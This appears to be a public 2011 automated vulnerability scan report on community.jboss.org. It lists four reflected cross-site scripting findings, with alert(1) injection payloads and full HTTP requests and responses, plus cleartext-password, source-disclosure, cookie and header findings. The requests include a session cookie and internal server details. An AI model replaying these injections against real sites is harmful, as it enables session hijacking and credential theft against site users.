XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, community.jboss.org

Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

Report generated by XSS.CX at Tue Aug 23 13:45:59 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Loading

1. Cross-site scripting (reflected)

XSS in community.jboss.org, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86

1.1. http://community.jboss.org/comment-list.jspa [mode parameter]

1.2. http://community.jboss.org/comment-list.jspa [mode parameter]

1.3. http://community.jboss.org/dwr/call/plaincall/JiraManager.getRelatedIssues.dwr [c0-param0 parameter]

1.4. http://community.jboss.org/dwr/call/plaincall/JiraManager.getRelatedIssues.dwr [c0-param1 parameter]

2. Cleartext submission of password

3. Source code disclosure

3.1. http://community.jboss.org/4.5.6/resources/scripts/gen/080a1e3d9e9b20e8a79fbf0b9a149ba0.js

3.2. http://community.jboss.org/4.5.6/resources/scripts/gen/83802532540423d78758955cb0d34feb.js

3.3. http://community.jboss.org/blogs/marek-novotny/2011/04/27/seam-222final-security-release

4. Cross-domain script include

5. Cookie without HttpOnly flag set

6. Multiple content types specified

7. Content type incorrectly stated



1. Cross-site scripting (reflected)  next
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://community.jboss.org/comment-list.jspa [mode parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://community.jboss.org
Path:   /comment-list.jspa

Issue detail

The value of the mode request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload a3c3c%3balert(1)//9068c272512 was submitted in the mode parameter. This input was echoed as a3c3c;alert(1)//9068c272512 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /comment-list.jspa?location=jive-comments&mode=commentsa3c3c%3balert(1)//9068c272512&isPrintPreview=false&object=3776&contentObjectType=38&start=0&range=25&numResults=25&sort=datedesc HTTP/1.1
Host: community.jboss.org
Proxy-Connection: keep-alive
Referer: http://community.jboss.org/blogs/marek-novotny/2011/04/27/seam-222final-security-release
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html, */*; q=0.01
X-J-Token: no-user
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: jive.server.info="serverName=community.jboss.org:serverPort=80:contextPath=:localName=clearspace02.app.mwc.hst.phx2.redhat.com:localPort=8080:localAddr=10.5.106.15"; JSESSIONID=CC89B88DC3C4E9509E03416E43D304C1.node0; jive.recentHistory.-1=33382c333737363b; __utma=153813930.2061982621.1314128480.1314128480.1314128480.1; __utmb=153813930.1.10.1314128480; __utmc=153813930; __utmz=153813930.1314128480.1.1.utmcsr=seamframework.org|utmccn=(referral)|utmcmd=referral|utmcct=/; rh_omni_tc=70160000000H4AoAAK; s_cc=true; s_ria=flash%2010%7Csilverlight%204.0; s_nr=1314128482484; s_vnum=1316720482495%26vn%3D1; s_invisit=true; s_sq=%5B%5BB%5D%5D; __switchTo5x=91; __unam=89e83e3-131f82950d2-3888f8d8-1

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 19:41:06 GMT
Server: Apache-Coyote/1.1
X-JAL: 7
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
X-JSL: D=17039 t=1314128466322905
Cache-Control: no-cache, private, no-store, must-revalidate, max-age=0
Content-Length: 861
Connection: close


<script type="text/javascript">

if ('commentsa3c3c;alert(1)//9068c272512' == 'comments') {
$j('#jive-comments-count').text('0');
}

</script>


<!-- Display comment bar depending on
...[SNIP]...
<script type="text/javascript">var commentsa3c3c;alert(1)//9068c272512Count = 0;</script>
...[SNIP]...

1.2. http://community.jboss.org/comment-list.jspa [mode parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://community.jboss.org
Path:   /comment-list.jspa

Issue detail

The value of the mode request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload db776'%3balert(1)//fd860d356c6 was submitted in the mode parameter. This input was echoed as db776';alert(1)//fd860d356c6 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /comment-list.jspa?location=jive-comments&mode=commentsdb776'%3balert(1)//fd860d356c6&isPrintPreview=false&object=3776&contentObjectType=38&start=0&range=25&numResults=25&sort=datedesc HTTP/1.1
Host: community.jboss.org
Proxy-Connection: keep-alive
Referer: http://community.jboss.org/blogs/marek-novotny/2011/04/27/seam-222final-security-release
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html, */*; q=0.01
X-J-Token: no-user
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: jive.server.info="serverName=community.jboss.org:serverPort=80:contextPath=:localName=clearspace02.app.mwc.hst.phx2.redhat.com:localPort=8080:localAddr=10.5.106.15"; JSESSIONID=CC89B88DC3C4E9509E03416E43D304C1.node0; jive.recentHistory.-1=33382c333737363b; __utma=153813930.2061982621.1314128480.1314128480.1314128480.1; __utmb=153813930.1.10.1314128480; __utmc=153813930; __utmz=153813930.1314128480.1.1.utmcsr=seamframework.org|utmccn=(referral)|utmcmd=referral|utmcct=/; rh_omni_tc=70160000000H4AoAAK; s_cc=true; s_ria=flash%2010%7Csilverlight%204.0; s_nr=1314128482484; s_vnum=1316720482495%26vn%3D1; s_invisit=true; s_sq=%5B%5BB%5D%5D; __switchTo5x=91; __unam=89e83e3-131f82950d2-3888f8d8-1

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 19:41:06 GMT
Server: Apache-Coyote/1.1
X-JAL: 8
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
X-JSL: D=10825 t=1314128466015149
Cache-Control: no-cache, private, no-store, must-revalidate, max-age=0
Content-Length: 863
Connection: close


<script type="text/javascript">

if ('commentsdb776';alert(1)//fd860d356c6' == 'comments') {
$j('#jive-comments-count').text('0');
}

</script>


<!-- Display comment bar depending o
...[SNIP]...

1.3. http://community.jboss.org/dwr/call/plaincall/JiraManager.getRelatedIssues.dwr [c0-param0 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://community.jboss.org
Path:   /dwr/call/plaincall/JiraManager.getRelatedIssues.dwr

Issue detail

The value of the c0-param0 request parameter is copied into the HTML document as plain text between tags. The payload 84d45<script>alert(1)</script>345b521cb4c was submitted in the c0-param0 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /dwr/call/plaincall/JiraManager.getRelatedIssues.dwr HTTP/1.1
Host: community.jboss.org
Proxy-Connection: keep-alive
Referer: http://community.jboss.org/blogs/marek-novotny/2011/04/27/seam-222final-security-release
Content-Length: 302
Origin: http://community.jboss.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Content-Type: text/plain
X-J-Token: no-user
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: jive.server.info="serverName=community.jboss.org:serverPort=80:contextPath=:localName=clearspace02.app.mwc.hst.phx2.redhat.com:localPort=8080:localAddr=10.5.106.15"; JSESSIONID=CC89B88DC3C4E9509E03416E43D304C1.node0; jive.recentHistory.-1=33382c333737363b; __utma=153813930.2061982621.1314128480.1314128480.1314128480.1; __utmb=153813930.1.10.1314128480; __utmc=153813930; __utmz=153813930.1314128480.1.1.utmcsr=seamframework.org|utmccn=(referral)|utmcmd=referral|utmcct=/; rh_omni_tc=70160000000H4AoAAK; s_cc=true; s_ria=flash%2010%7Csilverlight%204.0; s_nr=1314128482484; s_vnum=1316720482495%26vn%3D1; s_invisit=true; s_sq=%5B%5BB%5D%5D; __switchTo5x=91; __unam=89e83e3-131f82950d2-3888f8d8-1

callCount=1
page=/blogs/marek-novotny/2011/04/27/seam-222final-security-release
httpSessionId=CC89B88DC3C4E9509E03416E43D304C1.node0
scriptSessionId=CD4B5579E69D0074739785677E0E55E4780
c0-scriptName=JiraManager
c0-methodName=getRelatedIssues
c0-id=0
c0-param0=number:3884d45<script>alert(1)</script>345b521cb4c
c0-param1=number:3776
batchId=0

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 19:41:09 GMT
Server: Apache-Coyote/1.1
X-JAL: 2
Content-Type: text/javascript
Vary: Accept-Encoding,User-Agent
X-JSL: D=209321 t=1314128468997584
Content-Length: 269
Connection: close

//#DWR-INSERT
//#DWR-REPLY
dwr.engine._remoteHandleException('0','0',{javaClassName:"org.directwebremoting.extend.MarshallException",message:"Error marshalling int: Format error converting 3884d45<script>alert(1)</script>345b521cb4c. See the logs for more details."});

1.4. http://community.jboss.org/dwr/call/plaincall/JiraManager.getRelatedIssues.dwr [c0-param1 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://community.jboss.org
Path:   /dwr/call/plaincall/JiraManager.getRelatedIssues.dwr

Issue detail

The value of the c0-param1 request parameter is copied into the HTML document as plain text between tags. The payload c203a<script>alert(1)</script>2079d88aab5 was submitted in the c0-param1 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /dwr/call/plaincall/JiraManager.getRelatedIssues.dwr HTTP/1.1
Host: community.jboss.org
Proxy-Connection: keep-alive
Referer: http://community.jboss.org/blogs/marek-novotny/2011/04/27/seam-222final-security-release
Content-Length: 302
Origin: http://community.jboss.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Content-Type: text/plain
X-J-Token: no-user
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: jive.server.info="serverName=community.jboss.org:serverPort=80:contextPath=:localName=clearspace02.app.mwc.hst.phx2.redhat.com:localPort=8080:localAddr=10.5.106.15"; JSESSIONID=CC89B88DC3C4E9509E03416E43D304C1.node0; jive.recentHistory.-1=33382c333737363b; __utma=153813930.2061982621.1314128480.1314128480.1314128480.1; __utmb=153813930.1.10.1314128480; __utmc=153813930; __utmz=153813930.1314128480.1.1.utmcsr=seamframework.org|utmccn=(referral)|utmcmd=referral|utmcct=/; rh_omni_tc=70160000000H4AoAAK; s_cc=true; s_ria=flash%2010%7Csilverlight%204.0; s_nr=1314128482484; s_vnum=1316720482495%26vn%3D1; s_invisit=true; s_sq=%5B%5BB%5D%5D; __switchTo5x=91; __unam=89e83e3-131f82950d2-3888f8d8-1

callCount=1
page=/blogs/marek-novotny/2011/04/27/seam-222final-security-release
httpSessionId=CC89B88DC3C4E9509E03416E43D304C1.node0
scriptSessionId=CD4B5579E69D0074739785677E0E55E4780
c0-scriptName=JiraManager
c0-methodName=getRelatedIssues
c0-id=0
c0-param0=number:38
c0-param1=number:3776c203a<script>alert(1)</script>2079d88aab5
batchId=0

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 19:41:09 GMT
Server: Apache-Coyote/1.1
X-JAL: 2
Content-Type: text/javascript
Vary: Accept-Encoding,User-Agent
X-JSL: D=66601 t=1314128469556963
Content-Length: 272
Connection: close

//#DWR-INSERT
//#DWR-REPLY
dwr.engine._remoteHandleException('0','0',{javaClassName:"org.directwebremoting.extend.MarshallException",message:"Error marshalling long: Format error converting 3776c203a<script>alert(1)</script>2079d88aab5. See the logs for more details."});

2. Cleartext submission of password  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://community.jboss.org
Path:   /blogs/marek-novotny/2011/04/27/seam-222final-security-release

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

Request

GET /blogs/marek-novotny/2011/04/27/seam-222final-security-release HTTP/1.1
Host: community.jboss.org
Proxy-Connection: keep-alive
Referer: http://seamframework.org/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 19:40:55 GMT
Server: Apache-Coyote/1.1
X-JAL: 345
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Set-Cookie: jive.recentHistory.-1=33382c333737363b; Expires=Thu, 22-Sep-2011 19:40:55 GMT; Path=/
Vary: Accept-Encoding,User-Agent
X-JSL: D=361186 t=1314128455566977
Cache-Control: no-cache, private, no-store, must-revalidate, max-age=0
Connection: close
Content-Length: 109548

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
...[SNIP]...
<div id="jive-userbar-login">
<form action="/cs_login"
method="post" name="loginform" autocomplete="off">



<span class="jive-userbar-login-welcome" id="jiveLoginWelcome">
...[SNIP]...
</a>
<input type="password" name="password" size="20" maxlength="150" value="" tabindex="2"
id="login-password" />

</span>
...[SNIP]...

3. Source code disclosure  previous  next
There are 3 instances of this issue:

Issue background

Server-side source code may contain sensitive information which can help an attacker formulate attacks against the application.

Issue remediation

Server-side source code is normally disclosed to clients as a result of typographical errors in scripts or because of misconfiguration, such as failing to grant executable permissions to a script or directory. You should review the cause of the code disclosure and prevent it from happening.


3.1. http://community.jboss.org/4.5.6/resources/scripts/gen/080a1e3d9e9b20e8a79fbf0b9a149ba0.js  previous  next

Summary

Severity:   Low
Confidence:   Tentative
Host:   http://community.jboss.org
Path:   /4.5.6/resources/scripts/gen/080a1e3d9e9b20e8a79fbf0b9a149ba0.js

Issue detail

The application appears to disclose some server-side source code written in ASP.

Request

GET /4.5.6/resources/scripts/gen/080a1e3d9e9b20e8a79fbf0b9a149ba0.js HTTP/1.1
Host: community.jboss.org
Proxy-Connection: keep-alive
Referer: http://community.jboss.org/blogs/marek-novotny/2011/04/27/seam-222final-security-release
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: jive.server.info="serverName=community.jboss.org:serverPort=80:contextPath=:localName=clearspace02.app.mwc.hst.phx2.redhat.com:localPort=8080:localAddr=10.5.106.15"; JSESSIONID=CC89B88DC3C4E9509E03416E43D304C1.node0; jive.recentHistory.-1=33382c333737363b

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 19:40:57 GMT
Server: Apache
Last-Modified: Tue, 23 Aug 2011 16:42:47 GMT
ETag: "804d7e-1ab22-4ab2ee2b1efc0"
Accept-Ranges: bytes
Cache-Control: max-age=315360000
Expires: Fri, 20 Aug 2021 19:40:57 GMT
Vary: Accept-Encoding
X-JSL: D=6721 t=1314128457113221
Content-Length: 109346
Connection: close
Content-Type: application/x-javascript

if(dwr==null){var dwr={}}if(dwr.engine==null){dwr.engine={}}if(DWREngine==null){var DWREngine=dwr.engine}dwr.engine.setErrorHandler=function(a){dwr.engine._errorHandler=a};dwr.engine.setWarningHandler
...[SNIP]...
c=="undefined"){return false}fn=a.srender.cache[b]=new Function("obj",'var p=[],print=function(){p.push.apply(p,arguments);};with(obj){p.push("'+c.replace(/[\r\t\n]/g," ").replace(/\"/g,'\\"').split("<%").join("\t").replace(/((^|%>)[^\t]*)/g,"$1\r").replace(/\t=(.*?)%>
...[SNIP]...
test(f)?b[f]=b[f]||a(document.getElementById(f).innerHTML):new Function("obj","var p=[],print=function(){p.push.apply(p,arguments);};with(obj){p.push('"+f.replace(/[\r\t\n]/g," ").replace(/(^|%>)(.+?)(<%|$)/,function(g,h,i,j){return h+d(i)+j}).split("<%").join("\t").replace(/((^|%>)[^\t]*)'/g,"$1\r").replace(/\t=(.*?)%>
...[SNIP]...

3.2. http://community.jboss.org/4.5.6/resources/scripts/gen/83802532540423d78758955cb0d34feb.js  previous  next

Summary

Severity:   Low
Confidence:   Tentative
Host:   http://community.jboss.org
Path:   /4.5.6/resources/scripts/gen/83802532540423d78758955cb0d34feb.js

Issue detail

The application appears to disclose some server-side source code written in PHP and ASP.

Request

GET /4.5.6/resources/scripts/gen/83802532540423d78758955cb0d34feb.js HTTP/1.1
Host: community.jboss.org
Proxy-Connection: keep-alive
Referer: http://community.jboss.org/blogs/marek-novotny/2011/04/27/seam-222final-security-release
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: jive.server.info="serverName=community.jboss.org:serverPort=80:contextPath=:localName=clearspace02.app.mwc.hst.phx2.redhat.com:localPort=8080:localAddr=10.5.106.15"; JSESSIONID=CC89B88DC3C4E9509E03416E43D304C1.node0; jive.recentHistory.-1=33382c333737363b

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 19:40:56 GMT
Server: Apache
Last-Modified: Tue, 23 Aug 2011 12:42:06 GMT
ETag: "846b45-7efff-4ab2b85f1c380"
Accept-Ranges: bytes
Cache-Control: max-age=315360000
Expires: Fri, 20 Aug 2021 19:40:56 GMT
Vary: Accept-Encoding
X-JSL: D=15084 t=1314128456835857
Connection: close
Content-Type: application/x-javascript
Content-Length: 520191

/*
* jQuery JavaScript Library v1.4.4
* http://jquery.com/
*
* Copyright 2010, John Resig
* Dual licensed under the MIT or GPL Version 2 licenses.
* http://jquery.org/license
*
* Includes Sizz
...[SNIP]...
<");if(c.substring(e,e+3)=="<?x"||c.substring(e,e+3)=="<?X"){var b=c.indexOf("?>");c=c.substring(b+2,c.length)}var e=c.indexOf("<!DOCTYPE");if(e!=-1){var b=c.indexOf(">
...[SNIP]...
d=/^[\w\-]+$/.test(h)?b[h]=b[h]||a(document.getElementById(h).innerHTML):new Function("obj","var p=[],print=function(){p.push.apply(p,arguments);};with(obj){p.push('"+h.replace(/[\r\t\n]/g," ").split("<%").join("\t").replace(/((^|%>)[^\t]*)'/g,"$1\r").replace(/\t=(.*?)%>
...[SNIP]...

3.3. http://community.jboss.org/blogs/marek-novotny/2011/04/27/seam-222final-security-release  previous

Summary

Severity:   Low
Confidence:   Tentative
Host:   http://community.jboss.org
Path:   /blogs/marek-novotny/2011/04/27/seam-222final-security-release

Issue detail

The application appears to disclose some server-side source code written in ASP.

Request

GET /blogs/marek-novotny/2011/04/27/seam-222final-security-release HTTP/1.1
Host: community.jboss.org
Proxy-Connection: keep-alive
Referer: http://seamframework.org/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 19:40:55 GMT
Server: Apache-Coyote/1.1
X-JAL: 345
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Set-Cookie: jive.recentHistory.-1=33382c333737363b; Expires=Thu, 22-Sep-2011 19:40:55 GMT; Path=/
Vary: Accept-Encoding,User-Agent
X-JSL: D=361186 t=1314128455566977
Cache-Control: no-cache, private, no-store, must-revalidate, max-age=0
Connection: close
Content-Length: 109548

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
...[SNIP]...
<textarea name="commentBody" id="wysiwygtext" rows="10" class="jive-comment-textarea"><%= commentBody %></textarea>
...[SNIP]...

4. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://community.jboss.org
Path:   /blogs/marek-novotny/2011/04/27/seam-222final-security-release

Issue detail

The response dynamically includes the following scripts from other domains:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /blogs/marek-novotny/2011/04/27/seam-222final-security-release HTTP/1.1
Host: community.jboss.org
Proxy-Connection: keep-alive
Referer: http://seamframework.org/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 19:40:55 GMT
Server: Apache-Coyote/1.1
X-JAL: 345
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Set-Cookie: jive.recentHistory.-1=33382c333737363b; Expires=Thu, 22-Sep-2011 19:40:55 GMT; Path=/
Vary: Accept-Encoding,User-Agent
X-JSL: D=361186 t=1314128455566977
Cache-Control: no-cache, private, no-store, must-revalidate, max-age=0
Connection: close
Content-Length: 109548

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
...[SNIP]...
<!-- begin eloqua tracking -->
<script type='text/javascript' language='JavaScript' src='http://www.redhat.com/j/elqNow/elqCfg.js'></script>
<script type='text/javascript' language='JavaScript' src='http://www.redhat.com/j/elqNow/elqImg.js'></script>
...[SNIP]...
<!-- // **************************** CHANGE PAT BELOW TO YOUR SERVERS PATH -->
<script type="text/javascript" src="http://www.redhat.com/j/s_code.js"></script>
...[SNIP]...
<!-- ShareThis Script -->
<script type="text/javascript" src="http://w.sharethis.com/button/buttons.js"></script>
...[SNIP]...

5. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://community.jboss.org
Path:   /blogs/marek-novotny/2011/04/27/seam-222final-security-release

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /blogs/marek-novotny/2011/04/27/seam-222final-security-release HTTP/1.1
Host: community.jboss.org
Proxy-Connection: keep-alive
Referer: http://seamframework.org/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 19:40:55 GMT
Server: Apache-Coyote/1.1
X-JAL: 345
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Set-Cookie: jive.recentHistory.-1=33382c333737363b; Expires=Thu, 22-Sep-2011 19:40:55 GMT; Path=/
Vary: Accept-Encoding,User-Agent
X-JSL: D=361186 t=1314128455566977
Cache-Control: no-cache, private, no-store, must-revalidate, max-age=0
Connection: close
Content-Length: 109548

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
...[SNIP]...

6. Multiple content types specified  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://community.jboss.org
Path:   /4.5.6/resources/scripts/gen/24f2062673d9f083d3c91ec73ddd6fc3.js

Issue detail

The response contains multiple Content-type statements which are incompatible with one another. The following statements were received:

Issue background

If a web response specifies multiple incompatible content types, then the browser will usually analyse the response and attempt to determine the actual MIME type of its content. This can have unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of multiple incompatible content type statements does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /4.5.6/resources/scripts/gen/24f2062673d9f083d3c91ec73ddd6fc3.js HTTP/1.1
Host: community.jboss.org
Proxy-Connection: keep-alive
Referer: http://community.jboss.org/blogs/marek-novotny/2011/04/27/seam-222final-security-release
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: jive.server.info="serverName=community.jboss.org:serverPort=80:contextPath=:localName=clearspace02.app.mwc.hst.phx2.redhat.com:localPort=8080:localAddr=10.5.106.15"; JSESSIONID=CC89B88DC3C4E9509E03416E43D304C1.node0; jive.recentHistory.-1=33382c333737363b

Response

HTTP/1.1 200 OK
